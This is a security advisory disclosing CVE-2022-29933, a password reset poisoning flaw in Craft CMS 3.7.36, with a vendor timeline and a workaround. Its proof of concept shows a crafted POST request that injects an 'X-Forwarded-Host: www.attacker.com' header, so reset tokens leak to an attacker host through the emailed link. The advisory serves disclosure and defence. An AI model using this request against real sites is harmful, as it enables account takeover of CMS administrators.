SEC Consult Vulnerability Lab Security Advisory < 20220505-0 > ======================================================================= title: Password Reset Poisoning Attack product: Craft CMS vulnerable version: 3.7.36 and potentially lower fixed version: none, see workaround by vendor CVE number: CVE-2022-29933 impact: high homepage: https://craftcms.com found: 2022-03-14 by: Sandro Einfeldt (Office Munich) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. It features: - An intuitive, user-friendly control panel for content creation and administrative tasks. - A clean-slate approach to content modeling and front-end development that doesn’t make any assumptions about your content or how it should be consumed. - A built-in Plugin Store with hundreds of free and commercial plugins, all just a click away. - A robust framework for module and plugin development. - An active, vibrant community." Source: https://craftcms.com/docs/3.x/ Business recommendation: ------------------------ The vendor responded that the vulnerability will not be fixed as a workaround is available. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues. Vulnerability overview/description: ----------------------------------- 1) Password Reset Poisoning Attack (CVE-2022-29933) The password reset function of the Craft CMS backend login page, usually accessible under https://<hostname>/index.php?p=admin/login, is vulnerable to a password reset poisoning attack. An unauthenticated attacker who knows valid email addresses or account names of Craft CMS backend users is able to manipulate the password reset functionality in a way that the registered users of the CMS receive password reset emails containing a malicious password reset link. The link contains valid (secret) tokens in the URL's GET parameters that are necessary to authenticate against the server's password reset function and enable a user who lost or forgot the account's password to reset the password. By manipulating the password reset request, an attacker is able to set an arbitrary hostname in the resulting password reset link. Thereby, the attacker can set the link to point to an attacker-controlled host. If a user clicks on the reset link, the valid reset tokens in the GET parameters will be sent to the attacker's web server and can be extracted from the server logs. The attacker is able to build a valid password reset link by adding the tokens to the general reset link structure: https://<hostname>/index.php?p=admin/set-password&code=<token1>&id=<token2> If the attacker calls the filled out URL with a web browser, the attacker will be able to reset the account's password and log in. Proof of concept: ----------------- 1) Password Reset Poisoning Attack (CVE-2022-29933) First, the attacker needs to browse the following URL: https://<hostname>/index.php?p=admin/login The login mask contains a link "Forgot your password?". Following this link, the attacker gets prompted to submit a valid account name or email address. After entering the account name or email address and pressing the "Reset Password" button, the attacker can intercept the resulting HTTP POST request with an intercepting web proxy (e.g. BurpSuite). The intercepted request can then be manipulated before getting forwarded to the server. The attacker needs to add the HTTP header X-Forwarded-Host: <attacker_host> while the value should contain the hostname of the webserver under the attacker's control. Manipulated Request: ------------------------------------------------------------------------------- POST /index.php?p=admin/actions/users/send-password-reset-email HTTP/1.1 Host: <IP> X-Forwarded-Host: www.attacker.com [...] Referer: http://<IP>/index.php?p=admin/login Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Registered-Asset-Bundles: ,craft\web\assets\login\[...] X-Registered-Js-Files: ,http://<IP>/cpresources/[...] X-CSRF-Token: c9kEDPROifmFNKSKhght_JgkBgnnk5EfXiH1qHA[...] X-Requested-With: XMLHttpRequest Content-Length: 38 Origin: http://<IP> Connection: close Cookie: CRAFT_CSRF_TOKEN=[...] loginName=test%40example.com ------------------------------------------------------------------------------- The resulting server response indicates that the request has been processed. Response: ------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Mon, 14 Mar 2022 08:19:24 GMT [...] X-Powered-By: Craft CMS Content-Length: 16 Connection: close Content-Type: application/json; charset=UTF-8 {"success":true} ------------------------------------------------------------------------------- The user will then receive a malicious password reset email pointing to the hostname that the attacker provided by adding the X-Forwarded-Host header. Email: ------------------------------------------------------------------------------- Hey Test, To reset your Test Install password, click on this link: http://www.attacker.com/index.php?p=admin/set-password&code=D6HWm7pGpYEt9mb-mPVh4kGzXWZ8ax5u&id=48b9fe48-91c9-430e-baa2-5bdf66c88102 If you were not expecting this email, just ignore it. ------------------------------------------------------------------------------- If the user is not aware and clicks on the link, the values of the reset tokens "code" and "id" will be sent to the attacker's web server. The attacker is then able to relay the tokens to the original reset endpoint and reset the password. Vulnerable / tested versions: ----------------------------- The following version has been tested and found to be vulnerable: * 3.7.36 Vendor contact timeline: ------------------------ 2022-03-10: Contacting vendor through contact form. 2022-03-14: Vendor provides Craft CMS installation for verifying the vulnerability. 2022-03-22: SEC Consult provides the vulnerability advisory through contact form. 2022-03-23: Vendor responded that there is a hardening measure available. 2022-03-31: SEC Consult replied that all installations of the current version (including the testing instance provided by the vendor) are vulnerable by default and the vulnerability is implementation-based and results from bad coding practices. Until 2022-05-02: No answer from vendor. 2022-05-03: Set advisory release date to 5th May. Informing vendor about scheduled advisory release. 2022-05-05: Release of security advisory. Solution: --------- The vendor knows about the vulnerability and the resulting risks. A possible hardening measure has to be implemented manually and is documented here: https://craftcms.com/knowledge-base/securing-craft#explicitly-set-the-web-alias-for-the-site https://craftcms.com/docs/3.x/sites.html#site-url The vendor responded that the vulnerability will not be fixed as a workaround is available. Workaround: ----------- The backend login interface and the password reset function should not be accessible from the internet or from any unknown IP addresses. The user must implement the workaround described in the hardening guide above in order to mitigate this issue. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF S. Einfeldt / @2022